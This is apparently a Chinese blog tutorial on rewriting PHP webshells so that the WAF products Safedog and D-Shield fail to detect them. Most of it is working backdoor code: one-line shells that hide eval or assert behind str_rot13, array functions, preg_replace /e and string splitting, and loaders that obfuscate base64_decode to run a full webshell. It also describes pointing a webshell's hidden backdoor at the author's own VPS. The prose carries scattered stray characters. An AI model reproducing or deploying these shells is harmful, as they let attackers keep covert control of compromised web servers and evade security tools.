前言
最近在研究php免殺繞過安全狗泉手、D盾等WAF防護軟件。也算是小有成績滤钱。故記錄下來觉壶。
一句話木馬
在滲透測試中最常用的就是一句話后門(小馬)和中國菜刀的配合。如果出現(xiàn)某種WAF防護件缸,就尋找一個免殺的大馬掛馬铜靶。
最常見的php一句話木馬
<?php @eval($_POST['x']);?>
這個一句話木馬由兩部分組成,eval用來執(zhí)行接收的代碼他炊。$_POST['x']來接收數(shù)值争剿。
本著這個原則,嘗試改寫一句話木馬繞過WAF痊末。
搜集了幾個常用的php函數(shù)
執(zhí)行代碼的eval秒梅、assert、preg_replace
接收數(shù)據(jù)的$_POST舌胶、$_GET捆蜀、$_REQUEST
php一句話免殺
str_rot13函數(shù)
<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>
str_rot13函數(shù)來替代assert。該函數(shù)對字符串執(zhí)行ROT13編碼幔嫂。ROT13編碼就是把每個字母在字母表中移動13位辆它。
測試發(fā)現(xiàn)無法繞過安全狗。修改一下履恩。
<?php
function xiaoma($a){
$c=str_rot13('nffreg');
$c($a);
}
xiaoma($_REQUEST['x']);
?>
即可繞過安全狗锰茉。
<?php
class One{
function xiaoma($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->xiaoma($_REQUEST['x']);
?>
再次修改,加了explode函數(shù)分割字符串切心,class封裝類飒筑。可繞過D盾绽昏。
array_map函數(shù)
array_map() 函數(shù)將函數(shù)作用到數(shù)組中的每個值上协屡,并返回一個新的數(shù)組。
<?php
$a1=array("1234","123456");
$a2=array(@$_REQUEST['x'],"1234");
$a=array_map(null,$a1,$a2)[0][1];
assert($a);
?>
即可繞過安全狗全谤。
array_key函數(shù)
array_key() 函數(shù)也是返回包含數(shù)組的一個新數(shù)組肤晓。
<?php
$a=array($_REQUEST['x']=>"3");
$b=array_keys($a)[0];
eval($b);
?>
索引數(shù)組變化為關聯(lián)數(shù)組。
即可繞過安全狗认然、D盾补憾。
preg_replace函數(shù)
用來正則匹配的一個函數(shù)。
<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/test/e",func(),"i am test");
?>
/e用來當做php代碼解析卷员。5.6版本以下實用盈匾。
測試可繞過安全狗和D盾。
preg_filter函數(shù)
根據(jù)preg_replace修改為preg_filter函數(shù)毕骡,也是用來執(zhí)行正則的匹配替換削饵。
<?php
$a=preg_filter('/\s+/','','as s er t');
$a($_REQUEST['x']);
?>
也可以繞過D盾岩瘦、安全狗。
其他
<?php
function test($a){
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func.=$func.$arr[$i];
}
$func=substr($func,-6);
$func($a);
}
test($_REQUEST['x']);
?>
也可以繞過D盾葵孤、安全狗。
php免殺大馬
正好自己手里有一個php大馬橱赠。但不免殺尤仍。嘗試將源碼base64加密后修改為php免殺大馬。
將大馬eval函數(shù)變?yōu)閑xit或者echo狭姨。burp抓取源代碼宰啦。
將源代碼拷貝下來,審計發(fā)現(xiàn)給源碼存在一處后門饼拍。
base64解碼一下
哦I哪!!师抄!真是可以漓柑。
將該base64地址修改為自己的vps地址。嘻嘻叨吮。
那現(xiàn)在只要eval函數(shù)可以執(zhí)行這傳base64的字符串就可以啦辆布。
WAF對base64_encode、base64_decode查殺非常嚴格茶鉴。
不斷搜索锋玲、修改、編寫涵叮,最終成功惭蹂。
<?php
header("Content-type: text/html; charset=utf-8");
class one{
public function dama(){
$l='base';
$o='64_de';
$v='co';
$e='de';
$love=$l.$o.$v.$e;
$c="love";
$shellname='網(wǎng)站安全檢測';
$password='xxx';
$myurl='http://www.xxx.com';
$a=$$c('code');//php源碼
@eval($a);
}
}
$person = new one;
$person->dama();
?>
直接將php大馬源碼放在code處。即可割粮。
也可以改造php免殺一句話木馬盾碗。
比如這款
<?php
header("Content-type: text/html; charset=utf-8");
function test($code){
$password='xxx';
$a=preg_filter('/\s+/','','base 64 _ deco de');
$c=$a($code);
@eval($c);
}
$code=''; //code存放php大馬
test($code);
?>
訪問一下。
查看vps是否接收到舀瓢。
參考資料:
PHP一句話木馬之小馬
PHP免殺大馬的奇淫技巧